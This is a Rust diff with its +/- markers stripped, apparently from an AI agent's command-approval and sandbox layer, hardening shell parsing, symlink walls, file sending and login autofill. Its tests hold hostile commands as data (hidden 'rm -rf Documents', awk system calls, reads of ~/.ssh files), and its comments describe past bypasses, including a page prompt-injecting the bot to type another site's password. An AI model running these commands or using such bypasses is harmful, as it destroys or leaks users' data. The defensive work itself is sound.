let next = chars.get(i + 1).copied();
if c == '\'' && !dq {
sq = !sq;
} else if c == '"' && !sq {
dq = !dq;
} else if !sq && (c == '`' || (c == '$' && next == Some('('))) {
return None;
} else if !sq && !dq && (c == ';' || c == '\n' || c == '|' || c == '&') {
if !cur.trim().is_empty() {
parts.push(cur.trim().to_string());
}
cur.clear();
if (c == '|' || c == '&') && next == Some(c) {
if single {
single = c != '\'';
cur.push(c);
i += 1;
continue;
}
if c == '\\' {
cur.push(c);
if let Some(n) = next {
cur.push(n);
i += 1;
}
i += 1;
continue;
}
let in_double = stack.last() == Some(&In::Double);
match c {
'"' if in_double => {
stack.pop();
}
'"' => stack.push(In::Double),
'\'' if !in_double => single = true,
'`' => {
hidden = true;
if stack.last() == Some(&In::Tick) {
stack.pop();
} else {
stack.push(In::Tick);
}
}
'$' | '<' | '>' if next == Some('(') && (c == '$' || !in_double) => {
hidden = true;
stack.push(In::Paren);
cur.push(c);
cur.push('(');
i += 2;
continue;
}
'(' if stack.last() == Some(&In::Paren) => stack.push(In::Paren),
')' if stack.last() == Some(&In::Paren) => {
stack.pop();
}
';' | '\n' | '|' | '&' if stack.is_empty() => {
close(&mut cur, &mut hidden, &mut pieces);
if (c == '|' || c == '&') && next == Some(c) {
i += 1;
}
i += 1;
continue;
}
_ => {}
}
cur.push(c);
i += 1;
}
if sq || dq {
if single || !stack.is_empty() {
return None;
}
if !cur.trim().is_empty() {
parts.push(cur.trim().to_string());
}
if parts.iter().any(|p| { let w = p.split_whitespace().next().unwrap_or(""); w == "eval" || w == "exec" || w == "source" || w == "." }) {
close(&mut cur, &mut hidden, &mut pieces);
Some(pieces)
}
/// Split `a && b | c; d` into its commands, keeping quoted text together.
/// Returns None when the command hides other commands ($(), backticks, eval).
pub fn split_commands(cmd: &str) -> Option<Vec<String>> {
let pieces = split_shell(cmd)?;
if pieces.iter().any(|p| p.hidden) {
return None;
}
Some(parts)
Some(pieces.into_iter().map(|p| p.text).collect())
}
/// The shell would rewrite this command's words before running it: a variable or a brace list
/// (`{a,b}`, `{1..3}`) outside single quotes can stand for any word, an option included.
/// (`HEAD@{1}` is not a list and stays as written.) So can a file name: `*`, `?` or `[` at the
/// head of a word, or in a word that begins with `-`, becomes whatever is in the folder, and a
/// file may be called `-delete` or `--pre=./x`. (`src/*.rs` can only become paths under `src/`.)
fn shell_rewrites(part: &str) -> bool {
let chars: Vec<char> = part.chars().collect();
let (mut single, mut double) = (false, false);
// The first character of the word being read (None between words).
let mut head: Option<char> = None;
let mut i = 0;
while i < chars.len() {
let c = chars[i];
if single {
single = c != '\'';
} else if c == '\\' {
head = head.or(Some('\\'));
i += 1;
} else if c == '\'' {
head = head.or(Some(c));
single = true;
} else if c == '"' {
head = head.or(Some(c));
double = !double;
} else if c == '$' && chars.get(i + 1).is_some_and(|n| n.is_alphanumeric() || *n == '_' || *n == '{') {
return true;
} else if double {
// (Inside double quotes only `$` is rewritten.)
} else if c.is_whitespace() {
head = None;
} else if c == '{' {
let inner: String = chars[i + 1..].iter().take_while(|x| **x != '}').collect();
if inner.contains(',') || inner.contains("..") {
return true;
}
head = head.or(Some(c));
} else if matches!(c, '*' | '?' | '[') {
if head.is_none() || head == Some('-') {
return true;
}
} else {
head = head.or(Some(c));
}
i += 1;
}
false
}
/// A looking command (READ_ONLY_COMMANDS) stays one only without the options that make it
/// write, delete or run something else: `find -delete`, `find -exec`, `sort -o`, `rg --pre`…
/// These went through without a question because only the first word was read.
///
/// Quotes and backslashes are dropped before matching, as the shell drops them (`-del"ete"`),
/// and a command whose words the shell would rewrite asks instead of being guessed at.
fn read_only(part: &str) -> bool {
if !READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) {
return false;
}
let w: Vec<String> = words(part).iter().map(|a| a.replace(['\'', '"', '\\'], "")).collect();
let long = |names: &[&str]| w.iter().any(|a| names.iter().any(|n| a == n || a.strip_prefix(n).is_some_and(|r| r.starts_with('='))));
let short = |c: char| w.iter().skip(1).any(|a| a.starts_with('-') && !a.starts_with("--") && a.contains(c));
let changes = match w.first().map(String::as_str).unwrap_or("") {
"find" => w.iter().any(|a| matches!(a.as_str(), "-exec" | "-execdir" | "-ok" | "-okdir" | "-delete" | "-fprint" | "-fprint0" | "-fprintf" | "-fls")),
"sort" => short('o') || long(&["--output", "--compress-program"]),
"tree" => short('o'),
"rg" => long(&["--pre", "--hostname-bin"]),
"git" => long(&["--output"]),
// `uniq in out` writes its second file.
// (`-` alone is a file too: standard input.)
"uniq" => w.iter().skip(1).filter(|a| *a == "-" || !a.starts_with('-')).count() > 1,
"file" => short('C') || long(&["--compile"]),
// The rest have no such option: nothing to hide behind a variable.
_ => return true,
};
!changes && !shell_rewrites(part)
}
/// A looking command whose options can make it write, delete or run something (the ones
/// `read_only` reads the options of).
fn has_changing_options(part: &str) -> bool {
READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) && matches!(words(part).first().copied().unwrap_or(""), "find" | "sort" | "tree" | "rg" | "git" | "uniq" | "file")
}
fn words(cmd: &str) -> Vec<&str> {
@ -312,10 +496,10 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci
match name {
"list_dir" | "search" | "read_file" => {
let p = resolve(workdir, &arg_str(&v, "path"));
if is_ignored(&p) {
if is_ignored(&p) || is_ignored(&real_of(&p)) {
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", p.display()));
}
if inside(workdir, &p) || granted("read:anywhere") {
if within(workdir, &p) || granted("read:anywhere") {
Decision::Allow
} else {
Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", p.display()), grant: "read:anywhere".into() }
@ -324,10 +508,10 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci
"read_terminal" | "write_terminal" => Decision::Allow,
"edit_file" => {
let p = resolve(workdir, &arg_str(&v, "path"));
if is_ignored(&p) {
if is_ignored(&p) || is_ignored(&real_of(&p)) {
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能修改。", p.display()));
}
if !inside(workdir, &p) {
if !within(workdir, &p) {
return Decision::Ask { reason: format!("修改工作資料夾以外的檔案:{}", p.display()), grant: String::new() };
}
if granted("edit_file") {
@ -341,35 +525,40 @@ pub fn decide(name: &str, args: &str, workdir: &Path, grants: &[String]) -> Deci
if cmd.trim().is_empty() {
return Decision::Deny("沒有指令".into());
}
let Some(parts) = split_commands(&cmd) else {
// Commands the splitter can't read ($(), backticks, eval…) ask once and remember
// by their first word: 「一律允許」 on `git` covers `git … $(…)` afterwards, so
// the same shape of command doesn't ask again (models use $(…) constantly).
let Some(pieces) = split_shell(&cmd) else {
// A quote or a $(…) that never closes: where one command ends and the next
// begins can't be told, so no grant covers it and none is offered.
if let Some(d) = denied_hit(&cmd) {
return Decision::Deny(format!("「{d}」這類指令一律不允許。"));
}
let grant = shell_grant(&cmd);
if !writes_files(&cmd) && granted(&grant) {
return Decision::Allow;
}
return Decision::Ask { reason: format!("執行指令(含有隱藏的子指令,無法自動判斷):{cmd}"), grant };
return Decision::Ask { reason: format!("執行指令(引號或括號沒有成對,無法自動判斷):{cmd}"), grant: String::new() };
};
// deny
for part in &parts {
if let Some(d) = denied_hit(part) {
for piece in &pieces {
if let Some(d) = denied_hit(&piece.text) {
return Decision::Deny(format!("「{d}」這類指令一律不允許。"));
}
}
// (No word-by-word path scan here: secret folders are the sandbox's job, and
// scanning words as paths denied perfectly ordinary commands.)
// allow: every part is read-only or already granted
let ok = |part: &String| !writes_files(part) && (READ_ONLY_COMMANDS.iter().any(|r| starts_with_words(part, r)) || granted(&shell_grant(part)));
let unapproved: Vec<&String> = parts.iter().filter(|p| !ok(p)).collect();
// allow: every part is read-only or already granted. A part that hides other
// commands ($(), backticks, eval…) is never read-only: it asks once and is
// remembered by its first word, so 「一律允許」 on `git commit` covers
// `git commit -m "$(…)"` afterwards (models use $(…) constantly) — but only that
// part: the grant used to let everything chained after it through as well.
//
// A looking command that may do more than look (`find … -delete`, `sort -o`, or
// one whose words can't be read) is asked each time: 「一律允許」 on its first word
// would be every `find -exec` from then on, on a word nobody thinks of as dangerous.
let each_time = |p: &Piece| has_changing_options(&p.text) && (p.hidden || !read_only(&p.text));
let ok = |p: &Piece| !writes_files(&p.text) && ((!each_time(p) && granted(&shell_grant(&p.text))) || (!p.hidden && read_only(&p.text)));
let unapproved: Vec<&Piece> = pieces.iter().filter(|p| !ok(p)).collect();
if unapproved.is_empty() {
return Decision::Allow;
}
let grant = if unapproved.len() == 1 && !writes_files(unapproved[0]) { shell_grant(unapproved[0]) } else { String::new() };
Decision::Ask { reason: format!("執行指令:{cmd}"), grant }
let grant = if unapproved.len() == 1 && !writes_files(&unapproved[0].text) && !each_time(unapproved[0]) { shell_grant(&unapproved[0].text) } else { String::new() };
let note = if pieces.iter().any(|p| p.hidden) { "(含有隱藏的子指令,無法自動判斷)" } else { "" };
Decision::Ask { reason: format!("執行指令{note}:{cmd}"), grant }
}
other => Decision::Deny(format!("沒有「{other}」這個工具")),
}
@ -586,11 +775,43 @@ fn process_listing(cmd: &str) -> bool {
return false;
}
parts.all(|p| {
let mut w = p.split_whitespace();
matches!(w.next().unwrap_or(""), "grep" | "egrep" | "head" | "tail" | "wc" | "sort" | "uniq" | "cut" | "awk") && !p.contains('/')
if p.contains('/') {
return false;
}
match p.split_whitespace().next().unwrap_or("") {
"egrep" | "cut" => true,
"awk" => awk_only_prints(p),
// (`sort -o`, `sort --compress-program`, `uniq in out`: not filters any more.)
"grep" | "head" | "tail" | "wc" | "sort" | "uniq" => read_only(p),
_ => false,
}
})
}
/// `awk [-F sep] [-v name=value] 'program'` whose program starts nothing: awk can run any
/// command itself (`system("…")`, `"cmd" | getline`, `print | "cmd"`), read a program from a
/// file (`-f`) and load code (`@include`, `@load`) — here that would be outside the sandbox.
fn awk_only_prints(part: &str) -> bool {
let Some(w) = plain_words(part) else { return false };
let mut rest = w.iter().skip(1).map(String::as_str).peekable();
while let Some(a) = rest.peek().copied() {
match a {
"-F" | "-v" => {
rest.next();
if rest.next().is_none() {
return false;
}
}
_ if a.starts_with("-F") || a.starts_with("-v") => {
rest.next();
}
_ => break,
}
}
let (Some(program), None) = (rest.next(), rest.next()) else { return false };
!program.starts_with('-') && !["system", "getline", "|", "@", "fflush", "close"].iter().any(|k| program.contains(k))
}
/// A command's words the way the shell reads them, or None when it is more than one plain
/// program call: anything outside quotes that joins, redirects, pipes, backgrounds or
/// substitutes (`;` `&` `|` `<` `>` `(` `)` a backtick, `$(`, a line break), and substitution
@ -981,7 +1202,7 @@ pub fn decide_on(name: &str, args: &str, target: &Target, grants: &[String]) ->
return Decision::Allow;
}
let p = resolve(root, &arg_str(&v, "path"));
if !inside(root, &p) {
if !within(root, &p) {
return Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, p.display()));
}
Decision::Allow
@ -1015,6 +1236,39 @@ pub fn decide_on(name: &str, args: &str, target: &Target, grants: &[String]) ->
}
}
/// A file on its way out of a computer — into the chat (send_file) or onto the person's screen
/// (open_for_person) — is read on the way, so it meets read_file's walls. It used to meet none:
/// any path on this computer went out without a question, and from the bot's sealed folder a
/// `..` reached the rest of the home folder.
///
/// The real file is what counts, not how the path is spelled: a link inside the folder that
/// points outside it is outside.
pub fn decide_file_out(target: &Target, path: &str, grants: &[String]) -> Decision {
let (base, sealed) = match &target.place {
Place::Local { workdir } => (workdir.as_path(), false),
Place::Sealed { root } => (root.as_path(), true),
// The box has its own wall (box_path); another computer answers for its own files.
_ => return Decision::Allow,
};
let named = resolve(base, path);
let real = std::fs::canonicalize(&named).unwrap_or_else(|_| named.clone());
if is_ignored(&named) || is_ignored(&real) {
return Decision::Deny(format!("「{}」是私密或系統檔案,Bot 不能讀取。", named.display()));
}
let home = std::fs::canonicalize(base).unwrap_or_else(|_| base.to_path_buf());
// (A path that names nothing yet has no real form: it is judged as spelled.)
let within = inside(&home, &real) || (real == named && inside(base, &named));
if within {
Decision::Allow
} else if sealed {
Decision::Deny(format!("{} 看不到這台電腦上的其他檔案({})。要處理使用者的檔案,請在使用者的電腦上做(不確定是哪台就先問)。", target.name, named.display()))
} else if grants.iter().any(|g| g == "read:anywhere") {
Decision::Allow
} else {
Decision::Ask { reason: format!("讀取工作資料夾以外的地方:{}", named.display()), grant: "read:anywhere".into() }
}
}
/// Run a remote command and give back its output (no background hand-off).
fn remote_capture(place: &Place, cmd: &str, stdin: Option<&[u8]>) -> Result<String, String> {
use std::io::Write;
@ -1320,6 +1574,11 @@ fn search(pattern: &str, root: &Path, files_only: bool) -> Result<String, String
if is_ignored(&p) {
continue;
}
// Links are not followed (ripgrep doesn't either): a linked folder is a way out
// of the folder being searched, and a link back up is a walk without end.
if p != root && p.symlink_metadata().map(|m| m.file_type().is_symlink()).unwrap_or(false) {
continue;
}
if p.is_dir() {
if let Ok(rd) = std::fs::read_dir(&p) {
stack.extend(rd.filter_map(|e| e.ok()).map(|e| e.path()).filter(|q| q.file_name().map(|n| n != "node_modules" && n != "target").unwrap_or(true)));
@ -1562,6 +1821,169 @@ mod tests {
assert_eq!(split_commands("ls -la && git status | head; echo 'a;b'").unwrap(), vec!["ls -la", "git status", "head", "echo 'a;b'"]);
assert!(split_commands("echo $(whoami)").is_none());
assert!(split_commands("eval ls").is_none());
// A backslash-quote opens no quote: these are three commands, as the shell runs them.
assert_eq!(split_commands(r#"echo \"; rm -rf x; echo \""#).unwrap(), vec![r#"echo \""#, "rm -rf x", r#"echo \""#]);
assert_eq!(split_commands(r"echo a\;b; ls").unwrap(), vec![r"echo a\;b", "ls"]);
assert_eq!(split_commands(r#"echo "a\"; b" && ls"#).unwrap(), vec![r#"echo "a\"; b""#, "ls"]);
assert_eq!(split_commands(r"echo 'a\' ; ls").unwrap(), vec![r"echo 'a\'", "ls"]);
assert!(split_commands("echo 'never closed").is_none());
// What hides inside $(…) stays inside its own part.
let pieces = split_shell(r#"npm install; rm -rf x; git commit -m "$(cat a; cat b)" | head"#).unwrap();
assert_eq!(pieces.iter().map(|p| (p.text.as_str(), p.hidden)).collect::<Vec<_>>(), vec![("npm install", false), ("rm -rf x", false), (r#"git commit -m "$(cat a; cat b)""#, true), ("head", false)]);
assert!(split_shell("echo $(ls").is_none());
}
#[test]
fn looking_commands_that_do_more_than_look_ask() {
let w = wd();
let ask = |cmd: &str, grants: &[String]| decide("shell", &serde_json::json!({"command": cmd}).to_string(), &w, grants);
// The first word says "look"; the options delete, write, or run something else.
for cmd in [
"find . -name '*.docx' -delete",
"find . -maxdepth 0 -exec sh -c 'id' \\;",
"find . -execdir rm {} +",
"find . -ok rm {} \\;",
"find . -fprint out.txt",
"find . -del\"ete\"",
"find . -de\\lete",
"find . -${nothing}delete",
"find . -{delete,print}",
"sort -o notes.txt notes.txt",
"sort -ro notes.txt notes.txt",
"sort --output=notes.txt notes.txt",
"sort --compress-program=sh notes.txt",
"rg --pre ./run.sh pattern",
"rg --pre=./run.sh pattern",
"git diff --output=notes.txt",
"git log --output notes.txt",
"tree -o notes.txt",
"uniq a.txt b.txt",
"ls && find . -delete",
] {
assert!(matches!(ask(cmd, &[]), Decision::Ask { .. }), "{cmd} went through without asking");
}
// Plain looking still doesn't ask.
for cmd in [
"find . -name '*.rs' -type f",
"find . -newer Cargo.toml -print | sort | uniq -c | head",
"rg -n 'fn main$' src",
"git show HEAD@{1} --stat",
"git log --oneline -5",
"sort -rn counts.txt",
"echo $HOME && ls $HOME",
"tree -L 2",
] {
assert_eq!(ask(cmd, &[]), Decision::Allow, "{cmd}");
}
// A file can be named like an option: a pattern that may become one asks; one that
// can only become paths in a folder doesn't.
for cmd in ["find . *", "rg pattern --pr*", "sort [a-z]*", "find . -name ?delete", "sort -?"] {
assert!(matches!(ask(cmd, &[]), Decision::Ask { .. }), "{cmd} went through without asking");
}
for cmd in ["rg -n main src/*.rs", "find . -name \"*.rs\"", "ls *", "cat *.md | head", "sort notes/*.txt"] {
assert_eq!(ask(cmd, &[]), Decision::Allow, "{cmd}");
}
// 「一律允許」 isn't offered for these, and one on the first word doesn't cover them.
let find = vec!["shell:find".to_string(), "shell:sort".to_string()];
for cmd in ["find . -delete", "sort -o notes.txt notes.txt", "find . $(echo -delete)", "find . -name \"$(cat name.txt)\""] {
assert!(matches!(ask(cmd, &find), Decision::Ask { ref grant, .. } if grant.is_empty()), "{cmd}");
}
assert_eq!(ask("find . -name '*.rs'", &find), Decision::Allow);
// The reported one: an escaped quote hid two more commands inside "one echo".
assert!(matches!(ask(r#"echo \"; rm -rf Documents; echo \""#, &[]), Decision::Ask { .. }));
// 「一律允許」 on one command covers that command, not what is chained after it.
let npm = vec!["shell:npm install".to_string()];
assert_eq!(ask("npm install && ls", &npm), Decision::Allow);
assert!(matches!(ask("npm install; rm -rf x; echo $(true)", &npm), Decision::Ask { ref grant, .. } if grant.is_empty()));
assert!(matches!(ask("npm install; echo $(true)", &npm), Decision::Ask { ref grant, .. } if grant == "shell:echo"));
let git = vec!["shell:git commit".to_string()];
assert_eq!(ask(r#"git status && git commit -m "$(cat msg.txt)""#, &git), Decision::Allow);
// The always-denied list is read in every part, hidden commands or not.
assert!(matches!(ask("echo $(true); sudo rm x", &["shell:echo".to_string()]), Decision::Deny(_)));
// Quotes that never close: asked every time, no grant offered or honoured.
assert!(matches!(ask("npm install\nrm -rf x\necho '", &npm), Decision::Ask { ref grant, .. } if grant.is_empty()));
}
/// A link in the folder that points out of it is outside it: for reading, for editing, and
/// from the bot's sealed folder.
#[cfg(unix)]
#[test]
fn a_link_out_of_the_folder_is_outside_it() {
let w = wd().join("link-out");
let _ = std::fs::remove_dir_all(&w);
let (work, elsewhere) = (w.join("work"), w.join("elsewhere"));
std::fs::create_dir_all(work.join("sub")).unwrap();
std::fs::create_dir_all(&elsewhere).unwrap();
std::fs::write(elsewhere.join("taxes.txt"), "x").unwrap();
std::fs::write(work.join("sub/notes.txt"), "x").unwrap();
std::os::unix::fs::symlink(&elsewhere, work.join("out")).unwrap();
std::os::unix::fs::symlink(elsewhere.join("taxes.txt"), work.join("taxes")).unwrap();
std::os::unix::fs::symlink(elsewhere.join("not-yet.txt"), work.join("new")).unwrap();
std::os::unix::fs::symlink(work.join("sub"), work.join("same")).unwrap();
let args = |p: &str| json!({"path": p}).to_string();
let edits = ["edit_file".to_string()];
for p in ["out/taxes.txt", "taxes", "out", "new", "out/made-here.txt"] {
assert!(matches!(decide("read_file", &args(p), &work, &[]), Decision::Ask { ref grant, .. } if grant == "read:anywhere"), "read {p}");
assert!(matches!(decide("edit_file", &args(p), &work, &edits), Decision::Ask { ref grant, .. } if grant.is_empty()), "edit {p}: asked every time");
let sealed = Target { name: crate::model::BOT_COMPUTER_NAME.into(), place: Place::Sealed { root: work.clone() } };
assert!(matches!(decide_on("read_file", &args(p), &sealed, &[]), Decision::Deny(_)), "sealed read {p}");
assert!(matches!(decide_on("edit_file", &args(p), &sealed, &edits), Decision::Deny(_)), "sealed edit {p}");
}
assert!(matches!(decide("search", &args("out"), &work, &[]), Decision::Ask { .. }));
// What stays in the folder is as before: its files, a link to its own inside, a new file.
for p in ["sub/notes.txt", "same/notes.txt", "sub/new.txt", "brand/new/file.txt", ""] {
assert_eq!(decide("read_file", &args(p), &work, &[]), Decision::Allow, "read {p}");
assert_eq!(decide("edit_file", &args(p), &work, &edits), Decision::Allow, "edit {p}");
}
// A private file is private by where it really is, whatever the link is called.
std::fs::create_dir_all(elsewhere.join(".ssh")).unwrap();
std::fs::write(elsewhere.join(".ssh/config"), "x").unwrap();
std::os::unix::fs::symlink(elsewhere.join(".ssh/config"), work.join("readme.txt")).unwrap();
assert!(matches!(decide("read_file", &args("readme.txt"), &work, &["read:anywhere".to_string()]), Decision::Deny(_)));
let _ = std::fs::remove_dir_all(&w);
}
#[test]
fn a_file_on_its_way_out_meets_the_walls_of_reading_it() {
let w = wd().join("out-gate");
let _ = std::fs::remove_dir_all(&w);
let (inside_dir, elsewhere) = (w.join("work"), w.join("elsewhere"));
std::fs::create_dir_all(&inside_dir).unwrap();
std::fs::create_dir_all(&elsewhere).unwrap();
std::fs::write(inside_dir.join("report.pdf"), "x").unwrap();
std::fs::write(elsewhere.join("taxes.pdf"), "x").unwrap();
let local = Target { name: "這台電腦".into(), place: Place::Local { workdir: inside_dir.clone() } };
let sealed = Target { name: crate::model::BOT_COMPUTER_NAME.into(), place: Place::Sealed { root: inside_dir.clone() } };
let outside = elsewhere.join("taxes.pdf").display().to_string();
// Its own folder: nothing to ask, on either kind of computer; a file not there yet too.
for t in [&local, &sealed] {
assert_eq!(decide_file_out(t, "report.pdf", &[]), Decision::Allow);
assert_eq!(decide_file_out(t, "not-yet.pdf", &[]), Decision::Allow);
}
// The person's computer: outside the work folder asks, like read_file, and remembers.
assert!(matches!(decide_file_out(&local, &outside, &[]), Decision::Ask { ref grant, .. } if grant == "read:anywhere"));
assert!(matches!(decide_file_out(&local, "../elsewhere/taxes.pdf", &[]), Decision::Ask { .. }));
assert_eq!(decide_file_out(&local, &outside, &["read:anywhere".to_string()]), Decision::Allow);
// The bot's sealed folder: the rest of the computer isn't there, however it is spelled.
assert!(matches!(decide_file_out(&sealed, &outside, &["read:anywhere".to_string()]), Decision::Deny(_)));
assert!(matches!(decide_file_out(&sealed, "../elsewhere/taxes.pdf", &[]), Decision::Deny(_)));
// Secrets stay, granted or not.
assert!(matches!(decide_file_out(&local, ".env", &["read:anywhere".to_string()]), Decision::Deny(_)));
// A link inside the folder that points out of it is outside.
#[cfg(unix)]
{
std::os::unix::fs::symlink(&elsewhere, inside_dir.join("way-out")).unwrap();
assert!(matches!(decide_file_out(&sealed, "way-out/taxes.pdf", &[]), Decision::Deny(_)));
assert!(matches!(decide_file_out(&local, "way-out/taxes.pdf", &[]), Decision::Ask { .. }));
std::fs::create_dir_all(elsewhere.join(".ssh")).unwrap();
std::fs::write(elsewhere.join(".ssh/config"), "x").unwrap();
std::os::unix::fs::symlink(elsewhere.join(".ssh/config"), inside_dir.join("notes.txt")).unwrap();
assert!(matches!(decide_file_out(&local, "notes.txt", &["read:anywhere".to_string()]), Decision::Deny(_)));
}
// The box and other computers keep their own checks.
let on_box = Target { name: "Bot 的電腦".into(), place: Place::Box { dir: "/home/bot/bot-1".into() } };
assert_eq!(decide_file_out(&on_box, "/etc/hosts", &[]), Decision::Allow);
let _ = std::fs::remove_dir_all(&w);
}
#[test]
@ -1617,6 +2039,16 @@ mod tests {
assert!(process_listing("ps aux"));
assert!(process_listing("ps -ax | grep -i tailscale | grep -v grep"));
assert!(process_listing("/bin/ps -o pid,comm | awk '{print $1}' | head -5"));
assert!(process_listing("ps aux | awk -F: -v n=2 'NR == n {print $2, $11}' | sort -rn | uniq -c"));
// awk can start any program itself, and these run outside the sandbox.
assert!(!process_listing(r#"ps aux | awk 'BEGIN { system("rm -rf Documents") }'"#));
assert!(!process_listing(r#"ps aux | awk '{ "id" | getline x; print x }'"#));
assert!(!process_listing("ps aux | awk -f steal.awk"));
assert!(!process_listing("ps aux | awk '{print}' notes.txt"));
assert!(!process_listing("ps aux | awk '@load \"x\"; {print}'"));
assert!(!process_listing("ps aux | sort -o listing.txt"));
assert!(!process_listing("ps aux | sort --compress-program=sh"));
assert!(!process_listing("ps aux | uniq - listing.txt"));
assert!(process_listing("top -l 1 -n 0"));
assert!(!process_listing("ps aux > /tmp/x"));
assert!(!process_listing("ps aux | grep x ~/.ssh/id_rsa"));

View File

@ -315,20 +315,29 @@ pub fn github_runs(runs: &Value, seen: &mut HashSet<u64>, first: bool) -> Vec<Ev
/// status changes. Events are `created` and `<status>`.
pub fn status_changes(prev: &mut HashMap<String, String>, items: &[(String, String, String)], first: bool) -> Vec<(String, String)> {
let mut out = vec![];
// An empty prev is always the baseline: a poll that follows a failed first round must
// record, not fire every existing item as "created" (history replay).
let baseline = first || prev.is_empty();
// Only the first look that reached the service is the baseline (the caller keeps `first`
// until then). An empty prev is not one: a watch set up while nothing was open swallowed
// the first issue, incident or mail that came.
for (id, status, title) in items {
match prev.get(id) {
None if !baseline => out.push(("created".to_string(), title.clone())),
None if !first => out.push(("created".to_string(), title.clone())),
Some(old) if old != status => out.push((status.clone(), format!("{title}({old} → {status})"))),
_ => {}
}
prev.insert(id.clone(), status.clone());
}
// A watcher that runs for months stays bounded: past the cap, what is on this list is kept
// and the rest is let go.
if prev.len() > MAX_REMEMBERED {
let here: HashSet<&String> = items.iter().map(|(id, _, _)| id).collect();
prev.retain(|id, _| here.contains(id));
}
out
}
/// Ids a watcher remembers before it lets the old ones go (estimated).
const MAX_REMEMBERED: usize = 4096;
/// Calendar events that start now (within the last poll) and haven't fired: (key, description).
pub fn calendar_due(events: &Value, now: i64, minutes_before: i64, window_secs: i64, title: &str, fired: &mut HashSet<String>) -> Vec<String> {
let mut out = vec![];
@ -496,6 +505,7 @@ fn fire_router() -> fn(u64, String) {
fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire: impl Fn(String)) {
let mut first = true;
let mut runs_first = true;
let mut cursor: u64 = 0;
let mut seen: HashSet<u64> = HashSet::new();
let mut prev: HashMap<String, String> = HashMap::new();
@ -528,9 +538,12 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire:
}
if wanted(events, "ci_passed") || wanted(events, "ci_failed") {
if let Ok(v) = get(&format!("https://api.github.com/repos/{repo}/actions/runs?per_page=20"), &h) {
for e in github_runs(&v, &mut seen, first).into_iter().filter(ok_ev) {
for e in github_runs(&v, &mut seen, runs_first).into_iter().filter(ok_ev) {
fire(format!("GitHub {repo}:{}", e.text));
}
// (Its own first look: the events answering while this failed used to
// make the next list of runs fire whole.)
runs_first = false;
}
}
GITHUB_POLL_SECS
@ -568,7 +581,9 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire:
}
note(routine_id, "已連上 Slack,等待訊息");
}
Ok(v) => note(routine_id, &format!("Slack 說:{}", v["error"].as_str().unwrap_or("不明錯誤"))),
// (Not reached: a refusal that counted as the first look made the next
// answer's thirty messages all new.)
Ok(v) => { reached = false; note(routine_id, &format!("Slack 說:{}", v["error"].as_str().unwrap_or("不明錯誤"))) },
Err(e) => { reached = false; note(routine_id, &format!("Slack:{e}")) },
}
SLACK_POLL_SECS
@ -702,16 +717,13 @@ fn watch_loop(routine_id: u64, t: Trigger, gen: u64, slack_token: String, fire:
// These sets grow with every event seen: a watcher that runs for months must stay
// bounded (ids grow, so keep the newest range; the react/calendar sets are only
// short-term de-duplication, so a cap that clears is harmless).
if seen.len() > 4096 {
if seen.len() > MAX_REMEMBERED {
let m = *seen.iter().max().unwrap_or(&0);
seen.retain(|id| *id + 100_000 >= m);
}
if prev.len() > 4096 {
// status_changes treats an empty set as a quiet baseline (records, fires nothing),
// so clearing is safe and keeps the map from growing with every issue ever seen.
prev.clear();
}
if slack_reacted.len() > 4096 {
// (prev is kept bounded by status_changes: clearing it here would make everything on
// the next list look new.)
if slack_reacted.len() > MAX_REMEMBERED {
slack_reacted.clear();
}
if !sleep_alive(gen, wait) {
@ -828,6 +840,20 @@ mod tests {
assert!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], true).is_empty());
let c = status_changes(&mut prev, &[("a".into(), "resolved".into(), "A".into()), ("b".into(), "triggered".into(), "B".into())], false);
assert_eq!(c, vec![("resolved".to_string(), "A(triggered → resolved)".to_string()), ("created".to_string(), "B".to_string())]);
// A watch set up while nothing was open: the first thing that comes fires.
let mut prev = HashMap::new();
assert!(status_changes(&mut prev, &[], true).is_empty());
assert_eq!(status_changes(&mut prev, &[("a".into(), "triggered".into(), "A".into())], false), vec![("created".to_string(), "A".to_string())]);
// Until a look has reached the service, what is there is recorded, not fired.
let mut prev = HashMap::new();
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], true).is_empty());
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty());
// Past the cap the map keeps what is on the list, and nothing on it fires again.
let mut prev: HashMap<String, String> = (0..MAX_REMEMBERED + 1).map(|i| (format!("old{i}"), "x".to_string())).collect();
prev.insert("a".into(), "open".into());
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty());
assert_eq!(prev.len(), 1);
assert!(status_changes(&mut prev, &[("a".into(), "open".into(), "A".into())], false).is_empty());
}
#[test]

View File

@ -345,14 +345,40 @@ impl LoginPlan {
}
pub fn plan_login(args: &str) -> Result<LoginPlan, String> {
let v = crate::tools::args_of(args);
let tab = current_host()?;
let host = v["site"].as_str().filter(|s| !s.trim().is_empty()).map(host_of).filter(|h| !h.is_empty()).unwrap_or(tab);
plan_login_on(&current_host()?, &crate::tools::args_of(args))
}
/// The plan for the page that is open (`tab`, its host).
///
/// The password goes into the open tab, so the open tab is the site: what the person is asked
/// about, what 「一律允許」 is remembered for, and what the saved login is checked against.
/// `site` only picks which saved login to use. It used to stand in for all three — a page could
/// talk the bot into `site: "google.com"` and, where the person had always-allowed google.com,
/// have Google's password typed into itself without a question.
pub(crate) fn plan_login_on(tab: &str, v: &Value) -> Result<LoginPlan, String> {
if tab.is_empty() {
return Err("目前的分頁沒有開著網站。先打開要登入的那一頁,再填入。".into());
}
let host = tab.to_string();
if let Some(id) = v["login_id"].as_str().filter(|s| !s.is_empty()) {
let item = crate::vault_store::get(id).filter(|i| i.kind == crate::vault_store::Kind::Login).ok_or("保險庫裡沒有這筆登入資訊(先用 vault_list 看 id)")?;
let matched = item.fills_on(&host);
return Ok(LoginPlan { host, item: Some(item), matched, other: None });
}
